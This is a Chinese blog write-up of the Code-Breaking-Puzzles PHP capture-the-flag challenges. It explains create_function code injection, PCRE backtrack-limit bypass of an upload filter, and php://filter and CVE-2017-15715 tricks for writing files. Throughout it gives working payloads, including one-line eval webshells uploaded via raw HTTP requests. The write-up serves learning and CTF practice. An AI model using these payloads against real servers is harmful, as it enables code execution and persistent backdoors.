Code-Breaking-Puzzles writeup

easy - function

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

第一步:$action有正则限制,可以用\可以绕过。原因就是\funciton是php原生函数的写法,就是以命名空间+函数名的方法来表示函数。而原生函数的命名空间是””。类似php框架 Illuminate\Foundation\Application

第二步:调用create_function函数来代码注入,原理如下

在PHP中使用create_function()创建匿名函数

  1. 获取参数, 函数体;
  2. 拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串;
  3. eval;
  4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错;
  5. 定义一个函数名:”\000_lambda_” . count(anonymous_functions)++;
  6. 用新的函数名替换__lambda_func;
  7. 返回新的函数。
<?php
$id = $_GET['id'];
$q = 'echo'.$id.'is'.$a.";";
$sy = create_function('$a',$q);
?>

这个匿名函数相当于这样的创建函数过程:

function niming($a){
       echo $id.'is'.$a;
}

a是匿名函数的参数,a是匿名函数的参数,q所指向的字符串的值是匿名函数的函数体

payload为url?id=1;}phpinfo();/*时,相当于

function niming($a){
    echo 1;}phpinfo();/*.'is'.$a;
}

用;}闭合了函数,phpinfo();后的/*会注释掉之后的代码,create_function函数是调用了eval的,所以phpinfo()函数得以执行。

本题payload:action=create_function&arg=;}print_r(file_get_contents('/flag'));//

php limit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

正则匹配嵌套函数中不能传参数

nginx没有getallheaders()函数,可以用get_defined_vars()代替

GET /?code=eval(next(current(get_defined_vars())));&cmd=system(ls); HTTP/1.1

easy - pcrewaf

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

代码的逻辑功能:上传一个文件 不能包含php语句

解题思路:利用preg_match的漏洞,因为php用的是PCRE库的。

正则表达式是什么

正则表达式是一个可以被“有限状态自动机”接受的语言类。

“有限状态自动机”,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。

而常见的正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

由于NFA的执行过程存在回溯,所以其性能会劣于DFA,但它支持更多功能。大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。

回溯过程

正则<\?.*[(;?>].*假设匹配的输入是,实际执行流程是这样的 <?php phpinfo();//aaaaa

image.png

见上图,可见第4步的时候,因为第一个.*可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是//aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符[(;?>]`。

所以NFA就开始回溯,先吐出一个a,输入变成第5步显示的//aaaa,但仍然匹配不上正则,继续吐出a,变成//aaa,仍然匹配不上……

最终直到吐出;,输入变成第12步显示的,此时,.匹配的是php phpinfo(),而后面的;则匹配上[(;?>],这个结果满足正则表达式的要求,于是不再回溯。13步开始向后匹配;,14步匹配`.,第二个.*`匹配到了字符串末尾,最后结束匹配。

其中5-12是回溯的过程,回溯了8次

PHP的pcre.backtrack_limit限制利用

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限:

php > var_dump(ini_get('pcre.backtrack_limit'));
string(7) "1000000"

可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会出现什么现象呢?比如:

php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat(php > var_dump(preg_match('/<\?.*[(`;?>].*/is', '<?php phpinfo();//'.str_repeat('a',1000000)));
bool(false)

可见,preg_match返回的非1和0,而是false。

preg_match函数返回false表示此次执行失败了,我们可以调用var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);,发现失败的原因的确是回溯次数超出了限制:

php > var_dump(preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR);
bool(false)

所以,我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。

POST /xdebug.php HTTP/1.1
Host: 192.168.0.101
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDLLCrVUTmOAaWTjQ
Connection: close
Content-Length: 1000242

------WebKitFormBoundaryDLLCrVUTmOAaWTjQ
Content-Disposition: form-data; name="file"; filename="webshell"
Content-Type: image/jpeg

<?php @eval($_POST[admin]);?>aaaaaaaaaaaaaaaaaaaa(a*1000000)
------WebKitFormBoundaryDLLCrVUTmOAaWTjQ--

phpmagic

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

    echo $output;
endif; ?>

绕过后缀名

$log_name之前会加上$_SERVER['SERVER_NAME'],其内容为HTTP headers中的Host的值,所有文件名可控。

只要在后缀名后加上/.,pathinfo就取不到后缀名,且可以正常写入.php之中。

php & apache2 &操作系统之间的一些黑魔法

绕过内容限制

我们能写的文件内容被htmlspecialchars函数过滤了一次,尖括号被过滤了

但文件名可控,当$file传入参数php://filter/write=convert.base64-decode/resource=shell.php,​file_put_contents($file,$text)会将$text的内容base64解码后写入文件

payload如下

POST / HTTP/1.1
Host: php
Content-Type: multipart/form-data; boundary=--------1403836275
Content-Length: 236

----------1403836275
Content-Disposition: form-data; name="domain"

PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4123
----------1403836275
Content-Disposition: form-data; name="log"

://filter/write=convert.base64-decode/resource=shell.php/.
----------1403836275--

绕过后缀名2

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715

payload如下

domain=PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4123&log=%3a%2f%2ffilter%2fwrite%3dconvert.base64-decode%2fresource%3dxxx.php%0a

禁用了system函数,读一下目录

function read_all($dir){if(!is_dir($dir))returnfalse;$handle=opendir($dir);if($handle){while(($fl=readdir($handle))!==false){$temp=$dir.DIRECTORY_SEPARATOR.$fl;if(is_dir($temp)&&$fl!="."&&$fl!=".."){echo"dir----".$temp."\r\n<br>";read_all($temp);}else{if($fl!="."&&$fl!=".."){echo"filepath---".$temp."\r\n<br>";}}}}}read_all("/var/www");

文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
  目录